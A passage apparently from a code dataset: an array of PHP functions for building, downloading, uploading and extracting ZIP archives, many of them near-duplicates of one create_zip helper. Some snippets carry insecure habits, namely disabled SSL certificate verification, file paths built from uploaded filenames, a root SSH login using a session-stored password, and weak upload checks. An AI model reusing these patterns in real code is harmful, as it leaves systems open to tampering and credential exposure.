$destination = '', $overwrite = false, $maintain_path = false) {\n //if the zip file already exists and overwrite is false, return false\n if (file_exists($destination) && !$overwrite) {\n return false;\n }\n //vars\n $valid_files = array();\n //if files were passed in...\n if (is_array($files)) {\n //cycle through each file\n foreach ($files as $file) {\n //make sure the file exists\n if (file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if (count($valid_files)) {\n //create the archive\n $zip = new ZipArchive();\n if ($zip->open($destination, $overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach ($valid_files as $file) {\n $localname = \"\";\n if ($maintain_path) {\n $localname = $file;\n } else {\n $localname = basename($file);\n }\n\n $zip->addFile($file, $localname);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n //close the zip -- done!\n $zip->close();\n\n //check to make sure the file exists\n return file_exists($destination);\n } else {\n return false;\n }\n}", "function create_zip($files = array(), $destination = '', $overwrite = false) {\n if (file_exists($destination) && !$overwrite) {\n return false;\n }\n //vars\n $valid_files = array();\n //if files were passed in...\n if (is_array($files)) {\n //cycle through each file\n foreach ($files as $file) {\n //make sure the file exists\n if (file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if (count($valid_files)) {\n //create the archive\n $zip = new ZipArchive();\n if ($zip->open($destination, $overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach ($valid_files as $file) {\n $zip->addFile($file, $file);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n //close the zip -- done!\n $zip->close();\n\n //check to make sure the file exists\n return file_exists($destination);\n } else {\n return false;\n }\n}", "function dlZip($filePath){\n header('Content-Type: application/octet-stream');\n header(\"Content-Transfer-Encoding: Binary\"); \n header(\"Content-disposition: attachment; filename=\\\"\" . basename($filePath) . \"\\\"\"); \n readfile($filePath);\n\n }", "private static function pathZipGen(): string{\n // Client auth.\n $ind2 = 0;\n $auth_nm = \"\";\n do{\n $auth_nm = \"auth_client_\" . $ind2 . \".lpgp\";\n $ind2++;\n }while(file_exists(\"g.clients/tmp/\" . $auth_nm) || strlen($auth_nm) == 0);\n\n return TMP_GCLIENTS . \"$auth_nm\";\n }", "function create_zip($files = array(), $destination = '', $overwrite = false) {\n //if the zip file already exists and overwrite is false, return false\n if (file_exists($destination) && !$overwrite) {\n return false;\n }\n //vars\n $valid_files = array();\n //if files were passed in...\n if (is_array($files)) {\n //cycle through each file\n foreach ($files as $file) {\n //make sure the file exists\n if (file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if (count($valid_files)) {\n //create the archive\n $zip = new ZipArchive(); //bool ZipArchive::addFile ( string $filename [, string $localname ] )\n if ($zip->open($destination, $overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach ($valid_files as $file) {\n $zip->addFile($file, $file);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n //close the zip -- done!\n $zip->close();\n\n //check to make sure the file exists\n return file_exists($destination);\n } else {\n return false;\n }\n}", "function create_zip($files = array(), $destination = '', $overwrite = false) {\n //if the zip file already exists and overwrite is false, return false\n if (file_exists($destination) && !$overwrite) {\n return false;\n }\n //vars\n $valid_files = array();\n //if files were passed in...\n if (is_array($files)) {\n //cycle through each file\n foreach ($files as $file) {\n //make sure the file exists\n if (file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if (count($valid_files)) {\n //create the archive\n $zip = new ZipArchive(); //bool ZipArchive::addFile ( string $filename [, string $localname ] )\n if ($zip->open($destination, $overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach ($valid_files as $file) {\n $zip->addFile($file, $file);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n //close the zip -- done!\n $zip->close();\n\n //check to make sure the file exists\n return file_exists($destination);\n } else {\n return false;\n }\n}", "private function compress(): string\n {\n $tmpFile = tempnam(sys_get_temp_dir(), \"ReC\");\n $zip = new ZipArchive();\n if ($zip->open($tmpFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {\n throw new ApiException(\"Archive could not be created\");\n }\n\n foreach ($this->files as $name => $file) {\n if ($file instanceof IImmutableFile) {\n try {\n $file->addToZip($zip, $name);\n } catch (FileStorageException $e) {\n throw new ApiException(\"Error while adding file to archive\");\n }\n } else {\n // file is actually a local path to the file (BC)\n if ($zip->addFile($file, $name) !== true) {\n throw new ApiException(\"Error while adding file to archive\");\n }\n }\n }\n\n if ($zip->close() !== true) {\n throw new ApiException(\"Archive could not be properly saved\");\n }\n\n if (count($this->files) === 0) {\n // Well the php is interesting in handling zip archives, if you do not\n // provide any file to it, the php will process everything correctly and\n // successfully, creating and even closing, butt beware because if you do\n // not provided nada files, the zip will not be created at all!!!\n // So for further processing we need to at least create an empty file,\n // which will omit further warnings concerning non-existing file during\n // sending back to the user.\n touch($tmpFile);\n }\n\n return $tmpFile;\n }", "public function createArchive($a_file_array, $a_zip_filename)\n\t{\n\t\tif(count($a_file_array) <= 0)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t$a_zip_filename = ilUtil::getASCIIFilename($a_zip_filename);\n\n\t\t$tmp_dir = ilUtil::getDataDir() . \"/temp/\".\"tmp_\".time();\n\n\t\tif(!file_exists(ilUtil::getDataDir() . \"/temp/\"))\n\t\t{\n\t\t\tilUtil::createDirectory(ilUtil::getDataDir() . \"/temp/\");\n\t\t}\n\n\t\tilUtil::createDirectory($tmp_dir);\n\n\t\tforeach ((array) $a_file_array as $file_id)\n\t\t{\n\t\t\t$file = ilMediaGalleryFile::_getInstanceById($file_id);\n\t\t\t$path = $tmp_dir. '/' .$file->getFilename();\n\t\t\t$this->getFileSystem()->copyFile(\n\t\t\t\t$file->getPath(ilObjMediaGallery::LOCATION_ORIGINALS),\n\t\t\t\t$path\n\t\t\t);\n\t\t}\n\n\t\t$ret = ilUtil::zip($tmp_dir, $tmp_dir. '/' .$a_zip_filename, true);\n\n\t\trename($tmp_dir. '/' .$a_zip_filename, $this->getFileSystem()->getFilePath(ilObjMediaGallery::LOCATION_DOWNLOADS, $a_zip_filename));\n\t\t//var_dump($ret, $files,$this->getFileSystem()->getFilePath(ilObjMediaGallery::LOCATION_DOWNLOADS, $a_zip_filename));\n\t\t$this->getFileSystem()->deleteDir($tmp_dir);\n\n\t\tif(!$ret)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->addArchive($a_zip_filename);\n\n\t\treturn true;\n\t}", "function create_zip($files = array(),$destination = '', $cert_name, $overwrite = true) {\r\n\t//will need phpseclib later.... so...\r\n\tif (! (isset($_SESSION['password']))){\r\n\t\t start_session('certs.php?action=send_cert&type=$send_type&cert_name=$cert_name');\r\n\t }\r\n\t $password = stripslashes(trim($_SESSION['password']));\r\n\t\t $username = stripslashes(trim($_SESSION['username']));\r\n\t\t if ($username == \"\"){\r\n\t\t\t\t $username = \"root\";\r\n\t\t\t }\r\n\t $ssh = new Net_SSH2('localhost');\r\n\t if (!$ssh->login($username, $password)) {\r\n\t\t exit('Login Failed');\r\n\t }\r\n //if the zip file already exists and overwrite is false, return false\r\n if(file_exists($destination) && !$overwrite) { echo \"Will not overwrite!<br />\";return false; }\r\n //vars\r\n $valid_files = array();\r\n //if files were passed in...\r\n if(is_array($files)) {\r\n //cycle through each file\r\n foreach($files as $file) {\r\n\t //make sure the file exists\r\n if(file_exists($file)) {\r\n\t\t\r\n $valid_files[] = $file;\r\n }\r\n }\r\n }\r\n //if we have good files...\r\n if(count($valid_files)) {\r\n //create the archive\r\n $zip = new ZipArchive();\r\n if($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\r\n\t return false;\r\n }\r\n //add the files\r\n foreach($valid_files as $file) {\r\n\t $zip->addFile($file,$file);\r\n echo \"File: $file<br />\";\r\n }\r\n //debug\r\n echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\r\n\techo \"<br />\";\r\n\t$zip->addFile($file);\r\n\t\r\n //close the zip -- done!\r\n $zip->close();\r\n\t$curr_work_dir = getcwd();\r\n\t\r\n\techo \"$curr_work_dir/Downloads/$destination<br />\";\r\n\t//now move the file to our Downloads folder\r\n\tif (copy(\"$destination\",\"$curr_work_dir/Downloads/$destination\")) {\r\n\t\tunlink(\"$destination\");\r\n\t}\r\n\t//and update destination\r\n\t$zip_download = \"$destination\";\r\n\t//TODO check if file exists\r\n\treturn $zip_download;\r\n\r\n\t}else{return false;}\r\n}", "public function zippedFile()\r\n {\r\n $data = implode(\"\", $this->datasec);\r\n $ctrldir = implode(\"\", $this->ctrlDir);\r\n\r\n return $data.\r\n $ctrldir.\r\n $this->eofCtrlDir.\r\n pack(\"v\", sizeof($this->ctrlDir)). // total number of entries \"on this disk\"\r\n pack(\"v\", sizeof($this->ctrlDir)). // total number of entries overall\r\n pack(\"V\", strlen($ctrldir)). // size of central dir\r\n pack(\"V\", strlen($data)). // offset to start of central dir\r\n \"\\x00\\x00\"; // .zip file comment length\r\n }", "function create_zip($files = array(),$destination = '',$overwrite = false) {\r\n if(file_exists($destination) && !$overwrite) { return false; }\r\n //vars \r\n $valid_files = array();\r\n //if files were passed in...\r\n if(is_array($files)) {\r\n //cycle through each file\r\n foreach($files as $file) {\r\n //make sure the file exists\r\n if(file_exists($file)) {\r\n $valid_files[] = $file;\r\n }\r\n }\r\n }\r\n //if we have good files...\r\n if(count($valid_files)) {\r\n //create the archive\r\n $zip = new ZipArchive();\r\n if($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\r\n return false;\r\n }\r\n //add the files\r\n foreach($valid_files as $file) {\r\n $zip->addFile($file,$file);\r\n }\r\n //debug\r\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\r\n \r\n //close the zip -- done!\r\n $zip->close();\r\n \r\n //check to make sure the file exists\r\n return file_exists($destination);\r\n }\r\n else\r\n {\r\n return false;\r\n }\r\n}", "function plugin_package() {\n\t\t$this->response['package'] = site_url( '/wp-content/shopp-uploads/adsanity.zip' );\n\t}", "private function downloadZipFile()\n {\n if (! is_writable('/tmp/')) {\n throw new \\Exception(\"Unable to download release: /tmp/ dir is not writable\");\n }\n \n $ch = curl_init(self::RELEASE_URL . 'v' . self::VERSION . '.zip');\n curl_setopt($ch, \\CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, \\CURLOPT_FOLLOWLOCATION, true);\n curl_setopt($ch, \\CURLOPT_RETURNTRANSFER, true);\n $zipData = curl_exec($ch);\n $curlInfo = curl_getinfo($ch);\n if ($curlInfo['http_code'] != 200) {\n throw new \\Exception(\"Unable to download release: server returned code \" . $curlInfo['http_code']);\n }\n \n $zipFile = fopen('/tmp/' . self::VERSION, 'w+');\n fwrite($zipFile, $zipData);\n fclose($zipFile);\n }", "function _getZipInfo(& $data) \n {\n // Initialize variables\n $entries = array ();\n\n // Find the last central directory header entry\n $fhLast = strpos($data, $this->_ctrlDirEnd);\n do {\n $last = $fhLast;\t\t\n } while(($fhLast = strpos($data, $this->_ctrlDirEnd, $fhLast+1)) !== false);\n\n // Find the central directory offset\n $offset = 0;\n if($last) {\n $endOfCentralDirectory = unpack('vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength', substr($data, $last+4));\n $offset = $endOfCentralDirectory['CentralDirectoryOffset'];\n }\n\t\t\n // Get details from Central directory structure.\n $fhStart = strpos($data, $this->_ctrlDirHeader, $offset);\n do {\n if (strlen($data) < $fhStart +31) {\n $this->set('error.message', 'Invalid ZIP data');\n return false;\n }\n\n $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength', substr($data, $fhStart +10, 20));\n $name = substr($data, $fhStart +46, $info['Length']);\n\n $entries[$name] = array('attr' => null, 'crc' => sprintf(\"%08s\", dechex($info['CRC32'] )), 'csize' => $info['Compressed'], 'date' => null, '_dataStart' => null, 'name' => $name, 'method' => $this->_methods[$info['Method']], '_method' => $info['Method'], 'size' => $info['Uncompressed'], 'type' => null);\n $entries[$name]['date'] = mktime((($info['Time'] >> 11) & 0x1f), (($info['Time'] >> 5) & 0x3f), (($info['Time'] << 1) & 0x3e), (($info['Time'] >> 21) & 0x07), (($info['Time'] >> 16) & 0x1f), ((($info['Time'] >> 25) & 0x7f) + 1980));\n\n if (strlen($data) < $fhStart +43) {\n $this->set('error.message', 'Invalid ZIP data');\n return false;\n }\n $info = unpack('vInternal/VExternal/VOffset', substr($data, $fhStart +36, 10));\n\n $entries[$name]['type'] = ($info['Internal'] & 0x01) ? 'text' : 'binary';\n $entries[$name]['attr'] = (($info['External'] & 0x10) ? 'D' : '-') .\n (($info['External'] & 0x20) ? 'A' : '-') .\n (($info['External'] & 0x03) ? 'S' : '-') .\n (($info['External'] & 0x02) ? 'H' : '-') .\n (($info['External'] & 0x01) ? 'R' : '-');\n \n $entries[$name]['offset'] = $info['Offset'];\n\n // Get details from local file header since we have the offset\n $lfhStart = strpos($data, $this->_fileHeader, $entries[$name]['offset']);\n if (strlen($data) < $lfhStart +34) {\n $this->set('error.message', 'Invalid ZIP data');\n return false;\n }\n $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength', substr($data, $lfhStart +8, 25));\n $name = substr($data, $lfhStart +30, $info['Length']);\n $entries[$name]['_dataStart'] = $lfhStart +30 + $info['Length'] + $info['ExtraLength'];\n } while ((($fhStart = strpos($data, $this->_ctrlDirHeader, $fhStart +46)) !== false));\n \t\n $this->_metadata = array_values($entries);\n \n return true;\n }", "private function zExtraction()\n {\n foreach ($this->absolute_path_to_mods as $absolute_path) {\n $this->z_file_list = [];\n $this->current_work = $absolute_path;\n $this->compileZFileList($absolute_path);\n $this->performExtraction();\n }\n }", "function create_zip($files = array(), $cut = 0 , $destination = '',$overwrite = false) {\n\t//if the zip file already exists and overwrite is false, return false\n\tif(file_exists($destination) && !$overwrite) { return false; }\n\t//vars\n\t$valid_files = array();\n\t//if files were passed in...\n\tif(is_array($files)) {\n\t\t//cycle through each file\n\t\tforeach($files as $file) {\n\t\t\t//make sure the file exists\n\t\t\tif(file_exists($file)) {\n\t\t\t\t$valid_files[] = $file;\n\t\t\t}\n\t\t}\n\t}\n\t//if we have good files...\n\tif(count($valid_files)) {\n\t\t//create the archive\n\t\t$zip = new ZipArchive();\n\t\tif($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n\t\t\treturn false;\n\t\t}\n\t\t//add the files\n\t\tforeach($valid_files as $file) {\n\t\t\t$zip->addFile($file, substr($file, $cut ) );\n\t\t}\n\t\t//debug\n\t\t//echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n\n\t\t//close the zip -- done!\n\t\t$zip->close();\n\n\t\t//check to make sure the file exists\n\t\treturn file_exists($destination);\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}", "function add_zipped_font()\n\t{\n\t\tcheck_ajax_referer('avia_nonce_save_backend');\n\t\t\n\t\t//check if capability is ok\n\t\t$cap = apply_filters('avf_file_upload_capability', 'update_plugins');\n\t\tif(!current_user_can($cap)) \n\t\t{\n\t\t\texit( \"Using this feature is reserved for Super Admins. You unfortunately don't have the necessary permissions.\" );\n\t\t}\n\t\t\n\t\t//get the file path of the zip file\n\t\t$attachment = $_POST['values'];\n\t\t$path \t\t= realpath(get_attached_file($attachment['id']));\n\t\t$unzipped \t= $this->zip_flatten( $path , array('\\.eot','\\.svg','\\.ttf','\\.woff','\\.json'));\n\t\t\n\t\t// if we were able to unzip the file and save it to our temp folder extract the svg file\n\t\tif($unzipped)\n\t\t{\n\t\t\t$this->create_config();\n\t\t}\n\t\t\n\t\t//if we got no name for the font dont add it and delete the temp folder\n\t\tif($this->font_name == 'unknown')\n\t\t{\n\t\t\t$this->delete_folder($this->paths['tempdir']);\n\t\t\texit('Was not able to retrieve the Font name from your Uploaded Folder');\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\texit('avia_font_added:'.$this->font_name);\n\t}", "private function uploadZipFile()\n\t{\n\n\t\t $tsvfilename= $_FILES['zip_file']['name'];\n\t\t $legal_extentions = array(\"zip\"); \n\t\t $file = explode(\".\",$_FILES['zip_file']['name']);\t\n\t\t if(count($file) > 2 || $file[1] != 'zip')\n\t\t {\t\t\t\n \t\t\treturn '<div class=\"alert alert-error\">\n\t\t\t<button data-dismiss=\"alert\" class=\"close\" type=\"button\">×</button> The file you are attempting to upload is not supported by this server</div>';\t\t\n\t\t }\t \t\n\t\t\t\n\t\t $file_ext = strtolower(end(explode(\".\",$_FILES['zip_file']['name'])));\t\n\t\t if (!in_array ($file_ext, $legal_extentions))\n\t\t {\n \t\t return '<div class=\"alert alert-error\">\n\t\t\t<button data-dismiss=\"alert\" class=\"close\" type=\"button\">×</button> The file you are attempting to upload is not supported by this server</div>';\t\t\n \t }\t\t\n\n\n\t\tif(isset($_FILES['zip_file']['tmp_name']))\n\t\t{\n\t\t\t$spath=$_FILES['zip_file']['tmp_name'];\t\t\t\n\t\t\tif (isset($_POST['button']) && $_POST['skinname']!='')\n\t\t\t{\n\t\t\t\tif($_FILES['zip_file']['type']=='zip' || $_FILES['zip_file']['type']=='application/x-zip-compressed')\n\t\t\t\t{\n\t\t\t\t\t$dpath=ROOT_FOLDER.\"css/\".$_POST['skinname'].\".zip\";\n\t\t\t\t\t$file= new Lib_FileOperations();\n\t\t\t\t\t$file->uploadFile($spath,$dpath);\t\t\t\n\t\t\t\t\treturn $this->extractZip($dpath);\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t\treturn '<div class=\"alert alert-error\">\n\t\t\t<button data-dismiss=\"alert\" class=\"close\" type=\"button\">×</button> Please Upload Zip File</div>';\t\t\t\n\t\t\t}\n\t\t}\n\t}", "protected function archive() {\n\n // Instantiating Zip object\n $oZip = new ZipArchive;\n $directory = 'app/' . $this->sDirectory;\n $userId = explode('-', $this->sDirectory);\n $userId = $userId[0];\n\n // Retrieving downloaded files\n $files = File::allFiles(storage_path($directory));\n\n // Archiving logic\n $fileName = $this->sDirectory . '.zip';\n if ($oZip->open(public_path($fileName), ZipArchive::CREATE) == TRUE) {\n foreach ($files as $aFile) {\n $filePath = explode($this->sDirectory, base_path($aFile));\n $sFilePath = substr(str_replace('\\\\', '/', $filePath[1]), 1);\n $oZip->addFile($aFile, $sFilePath);\n }\n $oZip->close();\n\n // Updating download status to READY\n $user = User::find($userId);\n $user->download_status = 'READY';\n $user->save();\n }\n }", "function compress($nameFile) {\n // $nameFile = $_FILES['file']['name'];\n $pathinfo = pathinfo($nameFile);\n $file = $pathinfo['filename'];\n $tmpName = $_FILES['file']['tmp_name'];\n $download_folder = 'upload/';\n $filepath = \"upload_tmp/\" . $_FILES[\"file\"][\"name\"];\n\n if(move_uploaded_file($tmpName, $filepath)) {\n $zip = new ZipArchive();\n $filecompress = $download_folder.$file.\".zip\";\n\n $compress = $zip->open($filecompress, ZIPARCHIVE::CREATE);\n\n if ($compress === true) {\n $zip->addFile($filepath);\n $zip->close();\n }\n else {\n echo \"Oh No! Error\";\n }\n }\n unlink($filepath);\n\n $zip_file_url = $download_folder . $file;\n return $zip_file_url;\n}", "public function createArchive(InputInterface $input, OutputInterface $output)\n {\n\n /**\n * The technique used here:\n *\n * - we first create a zip archive on the local machine, containing all db backups to upload\n * - then we upload it on the remote machine and extract it\n *\n */\n $indentLevel = $this->application->getBaseIndentLevel();\n $nameOption = $input->getOption('names');\n $lastOption = $input->getOption('last');\n $confPath = $input->getOption(\"conf\");\n\n\n if (null === $confPath) {\n $conf = $this->application->getProjectConf();\n } else {\n $conf = RemoteConfHelper::readConfByFile($confPath);\n }\n\n\n // hack me\n $applicationDir = $conf['root_dir'];\n\n\n $localBackupDir = $applicationDir . '/.deploy/' . $this->backupDirName;\n $localZipPath = $applicationDir . '/.deploy/' . $this->backupDirName . '.zip';\n\n\n //--------------------------------------------\n // COLLECTING FILES\n //--------------------------------------------\n $util = $this->getFetcherUtilInstance($input);\n $util->setBackupDir($localBackupDir);\n $util->setExtension($this->extension);\n if (null !== $nameOption) {\n $util->setNames($nameOption);\n }\n if (null !== $lastOption) {\n $util->setLast($lastOption);\n }\n $allFiles = $util->fetch();\n\n H::info(H::i($indentLevel) . \"Collecting files to put in the archive:\" . PHP_EOL, $output);\n $relPaths = [];\n $len = mb_strlen(realpath($localBackupDir));\n foreach ($allFiles as $file) {\n H::info(H::i($indentLevel + 1) . \"- $file\" . PHP_EOL, $output);\n $relPaths[] = mb_substr($file, $len + 1);\n }\n\n\n //--------------------------------------------\n // CREATING ARCHIVE\n //--------------------------------------------\n H::info(H::i($indentLevel) . \"Creating zip archive in <b>$localZipPath</b>...\", $output);\n $errors = [];\n $failed = [];\n\n\n if (true === ZipTool::zipByPaths($localZipPath, $localBackupDir, $relPaths, $errors, $failed)) {\n $output->write('<success>ok</success>' . PHP_EOL);\n $this->onArchiveReady($input, $output);\n return true;\n\n\n } else {\n $output->write('<error>oops</error>' . PHP_EOL);\n if ($errors) {\n H::error(H::i($indentLevel + 1) . \"The following errors occurred:\" . PHP_EOL, $output);\n foreach ($errors as $error) {\n H::error(H::i($indentLevel + 2) . \"- $error\" . PHP_EOL, $output);\n }\n }\n\n if ($failed) {\n H::error(H::i($indentLevel + 1) . \"The following files couldn't be added to the archive:\" . PHP_EOL, $output);\n foreach ($failed as $file) {\n H::error(H::i($indentLevel + 2) . \"- $file\" . PHP_EOL, $output);\n }\n }\n\n }\n\n\n return false;\n }", "function create_zip( $files = array(), $destination = '', $overwrite = false, $keepDirStructure = true ) {\r\n\t//if the zip file already exists and overwrite is false, return false\r\n\tif( file_exists($destination) && !$overwrite ) { echo '1'; return false; }\r\n\t//vars\r\n\t$valid_files = array();\r\n\t//if files were passed in...\r\n\tif(is_array($files)) {\r\n\t\t//cycle through each file\r\n\t\tforeach($files as $file) {\r\n\t\t\t//make sure the file exists\r\n\t\t\tif(file_exists($file)) {\r\n\t\t\t\t$valid_files[] = $file;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t//if we have good files...\r\n\tif(count($valid_files)) {\r\n\t\t//create the archive\r\n\t\t$zip = new ZipArchive();\r\n\t\tif($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\r\n echo '2';\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//add the files\r\n\t\tforeach($valid_files as $file) {\r\n $fileName = $file;\r\n if( $keepDirStructure == false ){\r\n $fileName = basename($fileName);\r\n }\r\n\t\t\t$zip->addFile($file, $fileName);\r\n\t\t}\r\n\t\t//debug\r\n\t\t//echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\r\n\t\t\r\n\t\t//close the zip -- done!\r\n\t\t$zip->close();\r\n\t\t\r\n\t\t//check to make sure the file exists\r\n\t\treturn file_exists($destination);\r\n\t}\r\n\telse{\r\n echo '3';\r\n\t\treturn false;\r\n\t}\r\n}", "function download() {\r\n $this->zip->read_dir('./uploads/',FALSE);\r\n // create zip file on server\r\n $this->zip->archive('./downloads/'.'images.zip');\r\n // prompt user to download the zip file\r\n $this->zip->download('images.zip');\r\n }", "function create_zip($files = array(),$destination = '',$overwrite = false) {\r\n\tif(file_exists($destination) && !$overwrite) { return false; }\r\n\t//vars\r\n\t$valid_files = array();\r\n\t//if files were passed in...\r\n\tif(is_array($files)) {\r\n\t\t//cycle through each file\r\n\t\tforeach($files as $file) {\r\n\t\t\t//make sure the file exists\r\n\t\t\tif(file_exists($file)) {\r\n\t\t\t\t$valid_files[] = $file;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t//if we have good files...\r\n\tif(count($valid_files)) {\r\n\t\t//create the archive\r\n\t\t$zip = new ZipArchive();\r\n\t\tif($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//add the files\r\n\t\tforeach($valid_files as $file) {\r\n\t\t\t$zip->addFile($file,$file);\r\n\t\t}\r\n\t\t//debug\r\n\t\t//echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\r\n\t\t\r\n\t\t//close the zip -- done!\r\n\t\t$zip->close();\r\n\t\t\r\n\t\t//check to make sure the file exists\r\n\t\treturn file_exists($destination);\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\r\n\t}\r\n}", "function createZip($dir, $file)\r\n\t{\r\n\t\t//creating zip\r\n\t\t@unlink($file);\r\n\t\t$zip = new ZipArchive();\r\n\t\tif ($zip->open($file, ZIPARCHIVE::CREATE)!==TRUE)\r\n\t\t\tdie(\"cannot open <\".$file.\">\");\r\n\t\t//adding files\r\n\t\t$a = array();\r\n\t\t$list = list_directory($dir,$a);\r\n\t\tfor($a=0;$a<count($list);$a++)\r\n\t\t\t$zip->addFile($list[$a], str_replace(str_replace(\"\\\\\", \"/\", $dir), \"\", str_replace(\"\\\\\", \"/\", $list[$a])));\r\n\t\t//closing zip\r\n\t\t$zip->close();\r\n\t\tsleep(2);//on MAC OS takes time to close the zip file\r\n\t}", "function fm_unzip_file ($zipfile, $destination = '', $showstatus = false, $currentdir=0, $groupid) {\r\n//Both parameters must be FULL paths\r\n//If destination isn't specified, it will be the\r\n//SAME directory where the zip file resides.\r\n// Modded for Myfiles \r\n// Michael Avelar 1/24/06 \r\n global $CFG, $USER;\r\n\r\n //Extract everything from zipfile\r\n $path_parts = pathinfo(cleardoubleslashes($zipfile));\r\n $zippath = $path_parts[\"dirname\"]; //The path of the zip file\r\n $zipfilename = $path_parts[\"basename\"]; //The name of the zip file\r\n $extension = $path_parts[\"extension\"]; //The extension of the file\r\n\r\n //If no file, error\r\n if (empty($zipfilename)) {\r\n return false;\r\n }\r\n\r\n //If no extension, error\r\n if (empty($extension)) {\r\n return false;\r\n }\r\n\r\n //If no destination, passed let's go with the same directory\r\n if (empty($destination)) {\r\n $destination = $zippath;\r\n }\r\n\r\n //Clear $destination\r\n $destpath = rtrim(cleardoubleslashes($destination), \"/\");\r\n\r\n //Check destination path exists\r\n if (!is_dir($destpath)) {\r\n return false;\r\n }\r\n\r\n //Check destination path is writable. TODO!!\r\n\r\n //Everything is ready:\r\n // -$zippath is the path where the zip file resides (dir)\r\n // -$zipfilename is the name of the zip file (without path)\r\n // -$destpath is the destination path where the zip file will uncompressed (dir)\r\n\r\n if (empty($CFG->unzip)) { // Use built-in php-based unzip function\r\n\r\n include_once(\"$CFG->libdir/pclzip/pclzip.lib.php\");\r\n $archive = new PclZip(cleardoubleslashes(\"$zippath/$zipfilename\"));\r\n if (!$list = $archive->extract(PCLZIP_OPT_PATH, $destpath,\r\n PCLZIP_CB_PRE_EXTRACT, 'unzip_cleanfilename')) {\r\n notice($archive->errorInfo(true));\r\n return false;\r\n }\r\n\r\n } else { // Use external unzip program\r\n\r\n $separator = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? ' &' : ' ;';\r\n $redirection = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? '' : ' 2>&1';\r\n\r\n $command = 'cd '.escapeshellarg($zippath).$separator.\r\n escapeshellarg($CFG->unzip).' -o '.\r\n escapeshellarg(cleardoubleslashes(\"$zippath/$zipfilename\")).' -d '.\r\n escapeshellarg($destpath).$redirection;\r\n //All converted to backslashes in WIN\r\n if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {\r\n $command = str_replace('/','\\\\',$command);\r\n }\r\n Exec($command,$list);\r\n }\r\n\t// Inserts unzipped objects into myfiles api\r\n\t$afolder = $currentdir;\r\n\t// Reorders list so that folders are inserted into database before links\r\n\t$list2 = array();\r\n\tforeach($list as $l) {\r\n\t\tif ($l['folder'] == 1) {\r\n\t\t\t$list2[] = $l;\r\n\t\t}\r\n\t}\r\n\t// Reorders folders list to extract them in order, so the database has the folder before\r\n\t// inserting stuff into that folder\r\n\r\n\tusort($list2, 'fm_reorder_folders_list');\r\n\t// Recompiles the completed list...with ordered folders first, then files\r\n\tforeach($list as $l) {\r\n\t\tif ($l['folder'] != 1) {\r\n\t\t\t$list2[] = $l;\r\n\t\t}\r\n\t}\r\n\tforeach($list2 as $l) {\r\n\t\tif ($l['folder'] == 1) {\t// is an unzipped folder\r\n\t\t\t$newfolder = NULL;\r\n\t\t\t\r\n\t\t\tif($groupid ==0){\r\n\t\t\t\t$newfolder->owner = $USER->id;\r\n\t\t\t}else{\r\n\t\t\t\t$newfolder->owner = $groupid;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$tmp = explode('/',$l['stored_filename']);\r\n\t\t\t// compiles the path of the folder\r\n\t\t\t$tmppath = '/';\r\n\t\t\tforeach ($tmp as $t) {\r\n\t\t\t\tif ($t != '') {\r\n\t\t\t\t\t$tmppath .= $t.\"/\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$tmp = array_reverse($tmp);\r\n\t\t\t$tmppath = substr($tmppath, 0, (strrpos($tmppath, $tmp[1])));\r\n\t\t\t$newfolder->name = $tmp[1];\r\n\t\t\t$newfolder->category = 0;\r\n\t\t\tif ($tmp[2] == NULL) {\t\t\t// 